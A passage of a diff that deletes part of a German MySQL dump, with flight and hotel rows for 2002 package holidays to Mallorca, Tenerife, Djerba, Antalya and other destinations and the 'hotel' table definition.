-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(49, 'Palma de Mallorca', '2002-04-25', '12:05:00', 'Frankfurt', 'Hapag Lloyd', 0, 79, 1);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(50, 'Palma de Mallorca', '2002-04-27', '21:15:00', 'Berlin-Tegel', 'Germania', 0, 79, 2);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(51, 'Palma de Mallorca', '2002-04-29', '22:50:00', 'Hamburg', 'Hapag Lloyd', 0, 79, 3);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(52, 'Teneriffa', '2002-04-23', '16:00:00', 'Bruessel', 'Sobelair', 0, 80, 4);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(53, 'Palma de Mallorca', '2002-04-27', '21:15:00', 'Berlin-Tegel', 'Germania', 0, 81, 5);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(54, 'Antalya', '2002-05-03', '13:40:00', 'Hannover', 'Hapag Lloyd', 0, 81, 6);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(55, 'Palma de Mallorca', '2002-04-26', '07:05:00', 'Hahn', 'Air Europa', 0, 82, 7);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(56, 'Palma de Mallorca', '2002-04-26', '13:00:00', 'Duesseldorf', 'Hapag Lloyd', 0, 82, 8);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(57, 'Palma de Mallorca', '2002-04-26', '11:15:00', 'Hamburg', 'Hapag Lloyd', 0, 82, 9);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(58, 'Palma de Mallorca', '2002-04-27', '18:30:00', 'Muenchen', 'Hapag Lloyd', 0, 82, 10);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(59, 'Palma de Mallorca', '2002-04-27', '12:00:00', 'Hannover', 'Hapag Lloyd', 0, 82, 11);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(60, 'Palma de Mallorca', '2002-04-28', '00:45:00', 'Nuernberg', 'Hapag Lloyd', 0, 82, 12);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(61, 'Palma de Mallorca', '2002-04-29', '22:50:00', 'Hamburg', 'Hapag Lloyd', 0, 82, 13);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(62, 'Palma de Mallorca', '2002-04-25', '12:05:00', 'Frankfurt', 'Hapag Lloyd', 0, 82, 14);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(63, 'Teneriffa', '2002-04-23', '16:00:00', 'Bruessel', 'Sobelair', 0, 82, 15);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(64, 'Antalya', '2002-05-03', '13:40:00', 'Hannover', 'Hapag Lloyd', 0, 82, 16);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(65, 'Palma de Mallorca', '2002-04-25', '12:05:00', 'Frankfurt', 'Hapag Lloyd', 0, 83, 17);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(66, 'Palma de Mallorca', '2002-05-01', '22:05:00', 'Leipzig', 'Germania', 0, 83, 18);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(67, 'Palma de Mallorca', '2002-04-28', '00:40:00', 'Lyon', 'Futura', 0, 84, 19);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(68, 'Palma de Mallorca', '2002-04-27', '21:15:00', 'Berlin-Tegel', 'Germania', 0, 84, 20);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(69, 'Ibiza', '2002-05-07', '11:45:00', 'Muenchen', 'Condor', 0, 84, 21);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(70, 'Palma de Mallorca', '2002-04-29', '22:50:00', 'Hamburg', 'Hapag Lloyd', 0, 85, 22);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(71, 'Malta', '2002-04-27', '15:55:00', 'Basel-Mulhouse', 'Air Malta', 0, 85, 23);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(72, 'Palma de Mallorca', '2002-04-27', '22:10:00', 'Muenchen', 'Condor', 0, 85, 24);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(73, 'Djerba', '2002-04-29', '18:15:00', 'Koeln/Bonn', 'Air Berlin', 0, 85, 25);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(74, 'Djerba', '2002-04-29', '11:15:00', 'Frankfurt', 'Hapag Lloyd', 0, 85, 26);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(75, 'Djerba', '2002-04-29', '10:55:00', 'Leipzig', 'Air Berlin', 0, 85, 27);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(76, 'Djerba', '2002-04-29', '16:05:00', 'Berlin-Tegel', 'Germania', 0, 85, 28);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(77, 'Teneriffa', '2002-04-23', '16:00:00', 'Bruessel', 'Sobelair', 0, 86, 29);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(78, 'Palma de Mallorca', '2002-04-25', '12:05:00', 'Frankfurt', 'Hapag Lloyd', 0, 87, 30);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(79, 'Palma de Mallorca', '2002-04-25', '12:05:00', 'Frankfurt', 'Hapag Lloyd', 0, 87, 31);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(80, 'Palma de Mallorca', '2002-04-27', '21:15:00', 'Berlin-Tegel', 'Germania', 0, 87, 32);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(81, 'Palma de Mallorca', '2002-04-27', '08:55:00', 'Stuttgart', 'Air Europa', 0, 88, 33);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(82, 'Palma de Mallorca', '2002-04-27', '18:30:00', 'Muenchen', 'Hapag Lloyd', 0, 88, 34);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(83, 'Palma de Mallorca', '2002-05-01', '22:05:00', 'Leipzig', 'Germania', 0, 88, 35);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(84, 'Palma de Mallorca', '2002-04-29', '22:50:00', 'Hamburg', 'Hapag Lloyd', 0, 88, 36);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(85, 'Antalya', '2002-05-03', '14:30:00', 'Hamburg', 'LTU', 0, 88, 37);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(86, 'Antalya', '2002-05-03', '13:40:00', 'Hannover', 'Hapag Lloyd', 0, 88, 38);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(87, 'Palma de Mallorca', '2002-05-02', '23:15:00', 'Frankfurt', 'Hapag Lloyd', 0, 89, 39);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(88, 'Teneriffa', '2002-04-23', '16:00:00', 'Bruessel', 'Sobelair', 0, 89, 40);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(89, 'Palma de Mallorca', '2002-05-02', '23:15:00', 'Frankfurt', 'Hapag Lloyd', 0, 89, 41);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(90, 'Teneriffa', '2002-04-23', '16:00:00', 'Bruessel', 'Sobelair', 0, 89, 42);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(91, 'Palma de Mallorca', '2002-05-03', '11:20:00', 'Stuttgart', 'Hapag Lloyd', 0, 90, 43);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(92, 'Palma de Mallorca', '2002-05-03', '12:45:00', 'Nuernberg', 'Hapag Lloyd', 0, 90, 44);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(93, 'Palma de Mallorca', '2002-05-03', '12:45:00', 'Nuernberg', 'Hapag Lloyd', 0, 90, 45);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(94, 'Palma de Mallorca', '2002-05-03', '11:20:00', 'Stuttgart', 'Hapag Lloyd', 0, 90, 46);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(95, 'Palma de Mallorca', '2002-05-03', '11:20:00', 'Stuttgart', 'Hapag Lloyd', 0, 90, 47);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(96, 'Palma de Mallorca', '2002-04-25', '12:05:00', 'Frankfurt', 'Hapag Lloyd', 0, 90, 48);
-
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `hotel`
---
-
-CREATE TABLE IF NOT EXISTS `hotel` (
-  `HotelNr` int(11) NOT NULL AUTO_INCREMENT,
-  `Zielflughafen` varchar(50) COLLATE latin1_general_ci DEFAULT NULL,
-  `von` date DEFAULT NULL,
-  `bis` date DEFAULT NULL,
-  `Ort` varchar(50) COLLATE latin1_general_ci DEFAULT NULL,
-  `Hotel` varchar(50) COLLATE latin1_general_ci DEFAULT NULL,
-  `Zimmerart` varchar(50) COLLATE latin1_general_ci DEFAULT NULL,
-  `Kategorie` varchar(50) COLLATE latin1_general_ci DEFAULT NULL,
-  `Preis` double DEFAULT NULL,
-  `PauschalNr` int(11) DEFAULT NULL,
-  PRIMARY KEY (`HotelNr`)
-) ENGINE=MyISAM AUTO_INCREMENT=49 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
-
---
--- Daten für Tabelle `hotel`
---
-
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(1, 'Palma de Mallorca', '2002-04-21', '2002-04-25', 'Can Pastilla', 'Amfora Beach', 'Doppelzimmer', 'einfach', 112, 1);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(2, 'Palma de Mallorca', '2002-04-24', '2002-04-27', 'Can Pastilla', 'Amfora Beach', 'Doppelzimmer', 'einfach', 112, 2);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(3, 'Palma de Mallorca', '2002-04-26', '2002-04-29', 'Can Pastilla', 'Amfora Beach', 'Doppelzimmer', 'einfach', 112, 3);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(4, 'Teneriffa', '2002-04-21', '2002-04-23', 'Puerto de la Cruz', 'Astoria Appartaments', 'Studio', 'mittel', 114, 4);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(5, 'Palma de Mallorca', '2002-04-24', '2002-04-27', 'Can Pastilla', 'Amfora Beach', 'Doppelzimmer', 'einfach', 150, 5);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(7, 'Palma de Mallorca', '2002-04-19', '2002-04-26', 'Can Pastilla', 'Anfora', 'Doppelzimmer', 'mittel', 150, 7);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(8, 'Palma de Mallorca', '2002-04-19', '2002-04-26', 'Can Pastilla', 'Anfora', 'Doppelzimmer', 'mittel', 150, 8);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(9, 'Palma de Mallorca', '2002-04-19', '2002-04-26', 'Can Pastilla', 'Anfora', 'Doppelzimmer', 'mittel', 150, 9);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(10, 'Palma de Mallorca', '2002-04-20', '2002-04-27', 'Can Pastilla', 'Anfora', 'Doppelzimmer', 'mittel', 150, 10);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(11, 'Palma de Mallorca', '2002-04-20', '2002-04-27', 'Can Pastilla', 'Anfora', 'Doppelzimmer', 'mittel', 150, 11);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(12, 'Palma de Mallorca', '2002-04-20', '2002-04-28', 'Can Pastilla', 'Anfora', 'Doppelzimmer', 'mittel', 150, 12);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(13, 'Palma de Mallorca', '2002-04-26', '2002-04-29', 'Can Pastilla', 'Amfora Beach', 'Doppelzimmer', 'einfach', 117, 13);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(14, 'Palma de Mallorca', '2002-04-21', '2002-04-25', 'Can Pastilla', 'Amfora Beach', 'Doppelzimmer', 'einfach', 118, 14);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(15, 'Teneriffa', '2002-04-21', '2002-04-23', 'Fanabe', 'Jacaranda', 'Doppelzimmer', 'gehoben', 118, 15);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(17, 'Palma de Mallorca', '2002-04-20', '2002-04-25', 'Can Pastilla', 'Amfora Beach', 'Doppelzimmer', 'einfach', 118, 17);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(18, 'Palma de Mallorca', '2002-04-26', '2002-05-01', 'Can Pastilla', 'Amfora Beach', 'Doppelzimmer', 'einfach', 119, 18);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(19, 'Palma de Mallorca', '2002-04-21', '2002-04-28', 'Can Pastilla', 'Amfora Beach', 'Doppelzimmer', 'einfach', 120, 19);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(20, 'Palma de Mallorca', '2002-04-24', '2002-04-27', 'Can Pastilla', 'Amfora Beach', 'Einzelzimmer', 'einfach', 120, 20);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(21, 'Ibiza', '2002-04-30', '2002-05-07', 'Figueretas - Ibiza', 'Playa Sol Complex', 'Studio', 'einfach', 120, 21);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(22, 'Palma de Mallorca', '2002-04-26', '2002-04-29', 'Can Pastilla', 'Amfora Beach', 'Einzelzimmer', 'einfach', 121, 22);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(23, 'Malta', '2002-04-20', '2002-04-27', 'St. Julians', 'Miramare', 'Doppelzimmer', 'einfach', 122, 23);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(24, 'Palma de Mallorca', '2002-04-22', '2002-04-27', 'Can Pastilla', 'Amfora Beach', 'Doppelzimmer', 'einfach', 122, 24);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(25, 'Djerba', '2002-04-22', '2002-04-29', 'Oase Zarzis', 'Giktis', 'Doppelzimmer', 'mittel', 122, 25);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(26, 'Djerba', '2002-04-22', '2002-04-29', 'Oase Zarzis', 'Giktis', 'Doppelzimmer', 'mittel', 122, 26);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(27, 'Djerba', '2002-04-22', '2002-04-29', 'Oase Zarzis', 'Giktis', 'Doppelzimmer', 'mittel', 122, 27);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(28, 'Djerba', '2002-04-22', '2002-04-29', 'Oase Zarzis', 'Giktis', 'Doppelzimmer', 'mittel', 122, 28);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(29, 'Teneriffa', '2002-04-21', '2002-04-23', 'Puerto de la Cruz', 'Miramar', 'Doppelzimmer', 'mittel', 122, 29);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(30, 'Palma de Mallorca', '2002-04-20', '2002-04-25', 'Can Pastilla', 'Amfora Beach', 'Doppelzimmer', 'einfach', 124, 30);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(31, 'Palma de Mallorca', '2002-04-21', '2002-04-25', 'Can Pastilla', 'Amfora Beach', 'Einzelzimmer', 'einfach', 124, 31);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(32, 'Palma de Mallorca', '2002-04-24', '2002-04-27', 'Can Pastilla', 'Amfora Beach', 'Einzelzimmer', 'einfach', 124, 32);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(33, 'Palma de Mallorca', '2002-04-21', '2002-04-27', 'Can Pastilla', 'Amfora Beach', 'Doppelzimmer', 'einfach', 126, 33);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(34, 'Palma de Mallorca', '2002-04-21', '2002-04-27', 'Can Pastilla', 'Amfora Beach', 'Doppelzimmer', 'einfach', 126, 34);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(35, 'Palma de Mallorca', '2002-04-26', '2002-05-01', 'Can Pastilla', 'Amfora Beach', 'Doppelzimmer', 'einfach', 126, 35);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(36, 'Palma de Mallorca', '2002-04-26', '2002-04-29', 'Can Pastilla', 'Amfora Beach', 'Einzelzimmer', 'einfach', 126, 36);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(38, 'Antalya', '2002-04-30', '2002-05-03', 'Side-Titreyengoel', 'Venues', 'Doppelzimmer', 'mittel', 126, 38);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(39, 'Palma de Mallorca', '2002-04-27', '2002-05-02', 'Cala Ratjada', 'Hostal Jumar', 'Doppelzimmer', 'einfach', 126, 39);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(40, 'Teneriffa', '2002-04-21', '2002-04-23', 'El Medano', 'Marazul', 'Appartment', 'einfach', 127, 40);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(41, 'Palma de Mallorca', '2002-04-27', '2002-05-02', 'Can Pastilla', 'Amfora Beach', 'Doppelzimmer', 'einfach', 127, 41);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(42, 'Teneriffa', '2002-04-21', '2002-04-23', 'Playa de las Americas', 'Occidental La Siesta', 'Doppelzimmer', 'gehoben', 128, 42);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(43, 'Palma de Mallorca', '2002-04-27', '2002-05-03', 'Can Pastilla', 'Amfora Beach', 'Doppelzimmer', 'einfach', 128, 43);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(44, 'Palma de Mallorca', '2002-04-28', '2002-05-03', 'Can Pastilla', 'Amfora Beach', 'Doppelzimmer', 'einfach', 128, 44);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(45, 'Palma de Mallorca', '2002-04-28', '2002-05-03', 'Cala Ratjada', 'Hostal Jumar', 'Doppelzimmer', 'einfach', 128, 45);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(46, 'Palma de Mallorca', '2002-04-28', '2002-05-03', 'Can Pastilla', 'Amfora Beach', 'Doppelzimmer', 'einfach', 128, 46);
